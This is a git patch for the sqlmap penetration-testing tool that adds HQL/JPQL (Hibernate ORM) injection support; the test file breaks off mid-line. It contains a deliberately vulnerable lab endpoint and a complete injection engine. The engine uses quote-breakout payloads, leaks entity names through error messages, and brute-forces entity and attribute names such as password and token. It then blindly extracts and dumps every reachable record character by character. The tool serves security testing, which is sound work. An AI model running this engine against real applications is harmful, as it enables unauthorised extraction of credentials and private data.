From d0f16b284d306dc5c4bdd70d8c8cf6d11b9780f8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 10:38:20 +0200 Subject: [PATCH 1/8] Adding support for --hql --- extra/vulnserver/vulnserver.py | 102 +++++++ lib/controller/checks.py | 8 + lib/controller/controller.py | 9 +- lib/core/optiondict.py | 1 + lib/core/settings.py | 50 +++- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/hql/__init__.py | 8 + lib/techniques/hql/inject.py | 493 +++++++++++++++++++++++++++++++++ tests/test_hql.py | 229 +++++++++++++++ 10 files changed, 901 insertions(+), 3 deletions(-) create mode 100644 lib/techniques/hql/__init__.py create mode 100644 lib/techniques/hql/inject.py create mode 100644 tests/test_hql.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 80290048cb1..7a432e8ee1c 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -218,6 +218,92 @@ def nosql_match(params): else: # $eq, $in (single-valued here) and any literal equality return record == value +# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) ------------------- +# The query "FROM Users u WHERE u.name = ''" is built by string concatenation; the evaluator +# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path +# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped +# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects +# the parser diagnostic, so it also exercises the error-based entity-leak path. + +HQL_ENTITY = "org.vulnserver.model.Users" +HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"} + + +class _HqlError(Exception): + pass + + +def _hql_short(name): + return re.split(r"[.$]", name)[-1] + + +def _hql_no_row(atom): + """True when a row-walk bound "_h2. > " excludes the only record, so the + scalar sub-query resolves to NULL and its comparison is false.""" + + match = re.search(r"_h2\.\w+>(\d+)", atom) + return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1)) + + +def _hql_atom(atom): + atom = atom.strip() + + match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1' + if match: + return match.group(1) == match.group(2) + + match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X' + if match: + return HQL_RECORD["name"] == match.group(1) + + match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute + if match: + if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY): + raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1)) + return True + + match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence + if match: + attr = match.group(1) + if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return True + + match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length + if match: + attr, n = match.group(1), int(match.group(2)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): # row-walk cursor advanced past the only record + return False + return len(HQL_RECORD[attr]) >= n + + match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char + if match: + attr, pos, ch = match.group(1), int(match.group(2)), match.group(3) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): + return False + value = HQL_RECORD[attr] + return pos <= len(value) and value[pos - 1] == ch + + match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) + if match: + attr = match.group(1) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return HQL_RECORD[attr] is not None + + raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24]) + + +def hql_evaluate(value): + """Evaluate "name = ''" as an HQL boolean; returns True/False or raises _HqlError.""" + + clause = "name = '%s'" % value + return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR ")) + # --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ XPATH_XML = """ @@ -968,6 +1054,22 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/hql/search": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + name = self.params.get("name", "") + try: + matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL + output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0}) + except _HqlError as ex: + output = json.dumps({"results": [], "count": 0, "error": str(ex)}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == "/xpath/search": self.send_response(OK) self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a33fd421f6f..d190d47820f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -83,6 +83,7 @@ from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET +from lib.core.settings import HQL_ERROR_REGEX from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX @@ -1216,6 +1217,13 @@ def _(page): if conf.beep: beep() + if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" logger.info(infoMsg) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index e81daaf4815..48f137e9a2b 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -529,8 +529,8 @@ def start(): checkWaf() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -562,6 +562,11 @@ def start(): xxeScan() continue + if conf.hql: + from lib.techniques.hql.inject import hqlScan + hqlScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index f51325e4839..504182e22d7 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -126,6 +126,7 @@ "xpath": "boolean", "ssti": "boolean", "xxe": "boolean", + "hql": "boolean", "oobServer": "string", "oobToken": "string", "timeSec": "integer", diff --git a/lib/core/settings.py b/lib/core/settings.py index ef706ccadb9..062df34ac4d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.65" +VERSION = "1.10.7.66" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1159,6 +1159,54 @@ XXE_BLACKHOLE_HOST = "192.0.2.1" XXE_TIME_THRESHOLD = 5 +# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based +# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment). +# A match means the injection reached the ORM query parser (not the SQL layer), +# which is what distinguishes HQL injection from ordinary SQL injection. +HQL_ERROR_SIGNATURES = ( + ("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"), + ("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"), + ("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"), + ("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"), + ("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"), + ("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"), +) + +HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES) + +# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the +# ORM equivalent of a leaked table name; HQL has no information_schema so error-based +# leakage is the native way to learn the entity model). First capture group = name. +HQL_ENTITY_REGEX = ( + r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'", + r"resolve root entity '([^']+)'", + r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped", +) + +# Printable-ASCII codepoint bounds bisected during HQL blind character extraction +HQL_CHAR_MIN = 0x20 +HQL_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during HQL blind extraction +HQL_MAX_LENGTH = 256 + +# Maximum number of attributes to enumerate per entity during HQL blind extraction +HQL_MAX_FIELDS = 64 + +# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump +HQL_MAX_RECORDS = 100 + +# Common mapped entity names brute-forced through the boolean oracle when the app +# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an +# unmapped one raises UnknownEntityException and reads as false). +HQL_COMMON_ENTITIES = ( + "User", "Users", "Account", "Accounts", "Member", "Members", "Customer", + "Customers", "Person", "People", "Employee", "Admin", "Login", "Credential", + "Profile", "Role", "Client", "Contact", "Company", "Product", "Order", + "Item", "Article", "Post", "Comment", "Category", "Document", "File", + "Message", "Group", "Session", "Token", "Application", "Setting", +) + XXE_IMPACT_FILES = ( ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), diff --git a/lib/core/testing.py b/lib/core/testing.py index bd3f872c0a1..cc0215baaf5 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -96,6 +96,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe + ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f603961bc29..c1e0f9ed9b7 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -796,6 +796,9 @@ def cmdLineParser(argv=None): nonsql.add_argument("--xxe", dest="xxe", action="store_true", help="Test for XML External Entity (XXE) injection") + nonsql.add_argument("--hql", dest="hql", action="store_true", + help="Test for HQL/JPQL (Hibernate ORM) injection") + nonsql.add_argument("--oob-server", dest="oobServer", help="Out-of-band server for blind '--xxe'") diff --git a/lib/techniques/hql/__init__.py b/lib/techniques/hql/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/hql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py new file mode 100644 index 00000000000..96fb8e49556 --- /dev/null +++ b/lib/techniques/hql/inject.py @@ -0,0 +1,493 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import HQL_CHAR_MAX +from lib.core.settings import HQL_CHAR_MIN +from lib.core.settings import HQL_COMMON_ENTITIES +from lib.core.settings import HQL_ENTITY_REGEX +from lib.core.settings import HQL_ERROR_REGEX +from lib.core.settings import HQL_ERROR_SIGNATURES +from lib.core.settings import HQL_MAX_FIELDS +from lib.core.settings import HQL_MAX_LENGTH +from lib.core.settings import HQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + +HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is +# known. HQL has no information_schema, so a mapped attribute either resolves +# (valid query) or raises a PathElementException (error page); that difference is +# the enumeration oracle. Ordered by real-world frequency. +HQL_COMMON_FIELDS = ( + "id", "name", "username", "user", "login", "email", "mail", "password", + "passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles", + "firstname", "lastname", "fullname", "phone", "address", "city", "country", + "active", "enabled", "created", "updated", "description", "title", "status", + "type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price", +) + +# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix, +# extraction suffix, sentinel-based). The application's own trailing delimiter +# (the closing quote it appends after the injected value) balances the suffix, so +# no comment is needed (HQL frequently rejects SQL line comments anyway). +_BOUNDARY_TABLE = ( + # (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel ) + ("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True), + ('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True), + (" OR 1=1", " AND 1=2", " OR ", "", False), +) + +# Boundary carries the extraction prefix/suffix and whether the base value must be +# a non-matching sentinel (OR-style) so a true predicate flips an empty result set. +Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel")) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload")) +Slot.__new__.__defaults__ = (None,) * 7 + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`, + temporarily mutating conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("HQL probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.parameters[place] = old_params + + +def _isError(page): + return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in HQL_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return None + + +def _entityFromError(page): + page = getUnicode(page or "") + for regex in HQL_ENTITY_REGEX: + match = re.search(regex, page) + if match: + return match.group(1) + return None + + +def _probeError(place, parameter): + """Break the HQL string/numeric context and look for an ORM parser diagnostic. + Returns (backend, page) - a hint only; the boolean oracle is authoritative.""" + + original = _originalValue(place, parameter) or "1" + normal = _send(place, parameter, original) + + for suffix in ("'", '"', "'||", " and", ")"): + broken = _send(place, parameter, original + suffix) + if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, broken + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge (both must + be independently reproducible), else None.""" + + truePage = truthy() + if truePage is None or _isError(truePage): + return None + if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: + return None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, boundary) for boolean-blind HQL injection.""" + + original = _originalValue(place, parameter) or "" + + for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE: + truePayload = original + true_bk + falsePayload = original + false_bk + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, Boundary(prefix, suffix, sentinel) + + return None, None, None + + +def _base(boundary, original): + # OR-style boundaries need a base value that matches no row so a true predicate + # flips an empty result set into a populated one; AND-style keeps the original. + if boundary.sentinel: + return SENTINEL + return "-1" + + +def _wrap(original, boundary, predicate): + return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) + + +def _makeOracle(place, parameter, template, boundary, original): + """Build oracle(predicate) -> bool from a verified true template.""" + + cache = {} + base = _base(boundary, original) + + def request(payload): + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + return cache[payload] + + def truth(predicate): + page = request(_wrap(base, boundary, predicate)) + if page is None or _isError(page): + return False + return _ratio(template, page) >= UPPER_RATIO_BOUND + + truth.template = template + truth.cache = cache + return truth + + +def _leakEntity(place, parameter, boundary, original): + """Force a path-resolution error to leak the mapped entity name. An unqualified + identifier resolves against the query root, so a random one yields e.g. + "Could not resolve attribute 'xyz' of 'com.app.User'".""" + + base = _base(boundary, original) + marker = randomStr(length=8, lowercase=True) + + for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"): + predicate = "%s IS NOT NULL" % (reference % marker) + page = _send(place, parameter, _wrap(base, boundary, predicate)) + entity = _entityFromError(page) + if entity: + return entity + + return None + + +def _shortEntity(entity): + # com.app.model.User -> User ; lab.App$Member -> Member + return re.split(r"[.$]", entity)[-1] if entity else entity + + +def _bruteEntities(truth): + """Recover mapped entity names through the boolean oracle alone (no reflected + diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one + raises UnknownEntityException and reads as false. Returns every match so the + whole reachable model can be dumped, not just the injected query's entity.""" + + retVal = [] + for entity in HQL_COMMON_ENTITIES: + if truth("EXISTS(SELECT 1 FROM %s _h)" % entity): + retVal.append(entity) + return retVal + + +def _enumFields(truth, entity): + """Probe common attribute names against the entity; a name that resolves keeps + the query valid (oracle true), a missing one raises and reads as false.""" + + fields = [] + for field in HQL_COMMON_FIELDS: + if len(fields) >= HQL_MAX_FIELDS: + break + predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity) + if truth(predicate): + fields.append(field) + logger.info("identified mapped attribute: '%s'" % field) + return fields + + +# Frequency-ordered printable charset for blind character extraction +_META_ORDS = set(ord(_) for _ in ("'", '"', '\\')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._- +:/")) +_CHARSET = [] +for _ in _FREQ: + if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + + +def _scalar(entity, attribute, expr, pin, after=None): + """Scalar subquery over a single `entity` row selected by the smallest `pin` + (optionally the smallest strictly greater than `after`, to walk rows in order). + Alias-independent, so it works regardless of the outer query's alias. `expr` + wraps the attribute, cast to string so numeric/temporal values extract too.""" + + bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after) + target = "CAST(_h.%s AS string)" % attribute + inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % ( + expr % target, entity, pin, pin, entity, bound) + return "(%s)" % inner + + +def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH): + """Blindly recover one attribute value of the row selected by `pin`/`after`.""" + + # length first, by binary search + lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after) + if not truth("%s>=1" % lengthExpr): + return "" + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + for pos in xrange(1, length + 1): + charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after) + found = None + for cp in _CHARSET: + literal = chr(cp) + if truth("%s='%s'" % (charExpr, literal)): + found = literal + break + chars.append(found if found is not None else "?") + + return "".join(chars) + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpEntity(oracle, place, parameter, entity): + """Enumerate an entity's mapped attributes and blindly dump all of its rows.""" + + logger.info("enumerating mapped attributes of entity '%s'" % entity) + fields = _enumFields(oracle, entity) + if not fields: + logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity) + return + + pin = "id" if "id" in fields else fields[0] + columns = list(fields) + + # Walk records in ascending pin order: each row is pinned to the smallest pin + # value strictly greater than the previous one. A numeric pin is required to + # advance the cursor; otherwise only the first (smallest-pin) row is recovered. + rows = [] + after = None + for _ in xrange(HQL_MAX_RECORDS): + pinValue = _inferValue(oracle, entity, pin, pin, after) + if not pinValue: + break + + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = _inferValue(oracle, entity, field, pin, after) + rows.append([record.get(_, "") for _ in fields]) + logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields)) + + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + + conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) + + +def hqlScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection " + debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = 0 + slots = [] + + for place in (_ for _ in HQL_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter)) + + backendHint, _page = _probeError(place, parameter) + if backendHint: + logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint)) + + template, payload, boundary = _detectBoolean(place, parameter) + if not template: + if backendHint: + logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter)) + continue + + backend = backendHint or "Hibernate" + original = _originalValue(place, parameter) + # Error leakage only helps when the app actually reflects diagnostics + entity = _leakEntity(place, parameter, boundary, original) if backendHint else None + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) + if conf.beep: + beep() + + oracle = _makeOracle(place, parameter, template, boundary, original) + slots.append(Slot(place=place, parameter=parameter, backend=backend, + entity=entity, oracle=oracle, boundary=boundary, payload=payload)) + + if not slots: + if tested: + logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for HQL injection") + return + + for slot in slots: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload)) + + # Blind extraction covers as much of the mapped model as reachable: the error-leaked + # entity (if any) plus every common entity the boolean oracle confirms is mapped. + slot = next((_ for _ in slots if _.entity), slots[0]) + + entities = [] + leaked = _shortEntity(slot.entity) + if leaked: + entities.append(leaked) + + logger.info("recovering mapped entities through the boolean oracle") + for entity in _bruteEntities(slot.oracle): + if entity not in entities: + entities.append(entity) + + if not entities: + logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction") + logger.info("HQL scan complete") + return + + logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities))) + for entity in entities: + _dumpEntity(slot.oracle, slot.place, slot.parameter, entity) + + logger.info("HQL scan complete") diff --git a/tests/test_hql.py b/tests/test_hql.py new file mode 100644 index 00000000000..a70292921ee --- /dev/null +++ b/tests/test_hql.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock +oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage, +blind attribute enumeration, value extraction and output formatting can be exercised +without a live Hibernate target. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.hql.inject as hql + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(hql._ratio("abc", "abc"), 0.9) + self.assertLess(hql._ratio("abc", "xyz"), 0.5) + + def test_is_error(self): + self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error at: '''")) + self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'")) + self.assertFalse(hql._isError("normal page content")) + + def test_backend_from_error(self): + self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), 